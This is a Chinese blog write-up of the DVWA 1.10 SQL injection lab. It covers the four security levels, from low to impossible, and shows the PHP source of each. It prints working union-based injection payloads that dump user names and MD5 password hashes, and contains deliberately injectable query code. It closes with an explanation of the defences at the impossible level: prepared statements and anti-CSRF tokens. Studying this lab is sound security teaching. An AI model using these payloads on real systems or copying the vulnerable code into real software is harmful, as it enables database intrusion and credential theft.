【DVWA1.10】SQL Injection通关笔记

Security Level: low

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    mysqli_close($GLOBALS["___mysqli_ston"]); 
} 

?> 

没有对传入的参数id进行任何过滤操作,直接注入!
输入:

'or 1='1

回显:

ID: 'or 1='1
First name: admin
Surname: admin
ID: 'or 1='1
First name: Gordon
Surname: Brown
ID: 'or 1='1
First name: Hack
Surname: Me
ID: 'or 1='1
First name: Pablo
Surname: Picasso
ID: 'or 1='1
First name: Bob
Surname: Smith

拿到了所有的用户名,我们试着拿密码,先看看字段多少
输入:

1’order by 3#

回显:

ID: 1'order by 2#
First name: admin
Surname: admin

输入:

1’order by 3#

回显:

Unknown column '3' in 'order clause'

说明字段数为2,那我们开始破表名。
输入:

-1’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

回显:

ID: -1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: 1
Surname: guestbook,users

我们看看uers表里面的列
输入:

-1’union select 1,group_concat(column_name) from information_schema.columns where table_name=‘user’#

回显:

ID: -1'union select 1,group_concat(column_name) from information_schema.columns where table_name='user'#
First name: 1
Surname: Host,User,Password,Select_priv,......

爆出的列名巨多,对我们来说没用,我们就查查密码
输入:

-1’union select 1,group_concat(password) from users#

回显:

ID: -1'union select 1,group_concat(password) from users#
First name: 1
Surname: 202cb962ac59075b964b07152d234b70,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

这些都是md5加密后的密码,解出来就是明文了

Security Level: medium

<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Display values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

} 

// This is used later on in the index.php page 
// Setting it here so we can close the database connection in here like in the rest of the source scripts 
$query  = "SELECT COUNT(*) FROM users;"; 
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; 

mysqli_close($GLOBALS["___mysqli_ston"]); 
?> 

可以看到,对id参数进行了mysqli_real_escape_string函数的过滤,我们先来看看该函数的说明
在这里插入图片描述
也就是说明'给转义了,但我们仔细看看源码,会发现变量id在语句处并没有用单引号括着,这也会导致数字型注入。
什么是数字型注入?

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:

(1) 加单引号,URL:www.text.com/text.php?id=3’

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1

对应的sql:select * from table where id=3and 1=1 语句执行正常,与原始页面如任何差异;

(3) 加and 1=2URL:www.text.com/text.php?id=3 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

我们这里个环境恰好就是如此,这样我们就不需要'来完成注入,那我们可以试试进行操作。在dvwa1.10版本medium难度的sql注入,input框会变成select框,提交方式也变成了POST,我们可以用burpsuite来完成接下来的操作!
在这里插入图片描述
burpsuite抓个包看看
在这里插入图片描述
我们可以按Ctrl+R来把包放到Repeater模块来进行测试,以下过程不给予截图,只描述简单过程。
提交:

id=-1 union select group_concat(user),group_concat(password) from users#&Submit=Submit

回显:

ID: -1 union select group_concat(user),group_concat(password) from users#
First name: admin,gordonb,1337,pablo,smithy
Surname: 202cb962ac59075b964b07152d234b70,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

Security Level: high

<?php 

if( isset( $_SESSION [ 'id' ] ) ) { 
    // Get input 
    $id = $_SESSION[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
} 

?> 

high难度题目也出现了变化,题目中的提交框都没了,只留下了一段a标签
在这里插入图片描述
标签内容也可以看看

<a href="#" onclick="javascript:popUp('session-input.php');return false;">here to change your ID</a>

popUp说明这是一个弹窗,我们点击这个标签看看
在这里插入图片描述
弹出来一个小窗口,发现里面有提交页面,从源码里面看,注入点在SESSION里面,该页面提交的数据多半便是用来设置SESSION的,但是还是没对id进行任何过滤,我们可以尝试注入。
直接在表单中提交:

-1’union select group_concat(user),2 from users#

在这里插入图片描述
发现弹窗里面并没有输出回显,只弹出了刚刚输入的语句,但是回看主页面,发现已经注入成功并回显了
在这里插入图片描述

Security Level: impossible

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ 'first_name' ]; 
            $last  = $row[ 'last_name' ]; 

            // Feedback for end user 
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

让我们先来看看官方对于impossible难度的介绍

Impossible - This level should besecure against all vulnerabilities. It is used to compare the vulnerable source code to the secure source code.
Prior to DVWA v1.9, this level was known as ‘high’.

译:

不可能-此级别应针对所有漏洞进行保护。它用于比较易受攻击的源代码和安全的源代码。在dvwav1.9之前,这个级别被称为“高”。

所以我们不要求去攻破它,但是我们可以学习它是如何去进行防范的。
首先是Check Anti-CSRF token,它是为了防止CSRF攻击的,对于CSRF(跨站点请求伪造),有兴趣的可以自己查阅。
这里推荐一篇大佬的文章,大佬的描述十分详细:https://blog.csdn.net/weixin_42555985/article/details/88028776
我这里也会对大佬文章内容进行精简,把要点列出来
CSRF攻击的一般是由服务端解决,应对CSRF的方法有:

  • 尽量使用POST,限制GET
  • 浏览器Cookie策略
  • 加验证码
  • Referer Check ,例如:防止图片盗链
  • Anti CSRF Token

这里就是用的最后一种防范方式
使用Token有2种方式:

  1. 用设备号/设备mac地址作为Token
  2. 用session值作为Token用session值作为Token

Token的好处是服务端不需要存储相应信息。
大概的流程是这样的:

  1. 客户端使用用户名跟密码请求登录.
  2. 服务端收到请求,去验证用户名与密码
  3. 验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端
  4. 客户端收到 Token 以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里
  5. 客户端每次向服务端请求资源的时候需要带着服务端签发的 Token
  6. 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据
  7. 当然,如果Token被不怀好意的人从中间获取到该信息时,也容易被利用,非法获取数据。 想增强安全性,一般可以在服务端生成时配合时间戳,服务端在接收到client发来带token的信息时,先检测token的时间戳信息,如果该时间戳在超过某个时间点时,就认为过期,需要重新获取。

Token一般用在两个地方:

  1. 防止表单重复提交:服务器端第一次验证相同过后,会将session中的Token值更新。若用户重复提交,第二次的验证判断将失败,因为用户提交的表单中的Token没变,但服务器端session中Token已经改变了。
  2. anti csrf攻击(跨站点请求伪造):服务器端会对Token值进行验证,判断是否和session中的Token值相等。若相等,则可以证明请求有效,不是伪造的。

那我们来看看代码:

**// Anti-CSRF
generateSessionToken();

login界面与该题目界面都有生成Token,这个函数在dvwa/includes/dvwaPhpIds.inc.php中

function generateSessionToken() {  # Generate a brand new (CSRF) token
        if( isset( $_SESSION[ 'session_token' ] ) ) {
                destroySessionToken();
        }
        $_SESSION[ 'session_token' ] = md5( uniqid() );
}

先来看看uniqid()这个函数
在这里插入图片描述
这个就是时间戳然后md5加密后生成的token,验证就是在impossible.php中

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

请注意:要避免"加token但不进行校验"的情况。在session中增加了token,但服务端没有对token进行验证,那根本起不到防范的作用。
代码进行到最后就会进行一次签发Token,所以每次提交页面都需要核对Token,有效防止CSRF攻击。
再看看sql语句方面:

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
$data->bindParam( ':id', $id, PDO::PARAM_INT ); 
$data->execute(); 
$row = $data->fetch(); 

这个就是sql的预编译,预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程。预编译语句能防止sql注入。mysql4.1以后支持预编译。.
有关预编译可以去看看这篇说明:https://www.runoob.com/php/pdo-prepare.html
最后一处防御:

if( $data->rowCount() == 1 )

还对返回的结果进行判断,只能返回一条。
总的来说,防御十分强大,至少对现在的我来讲…

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值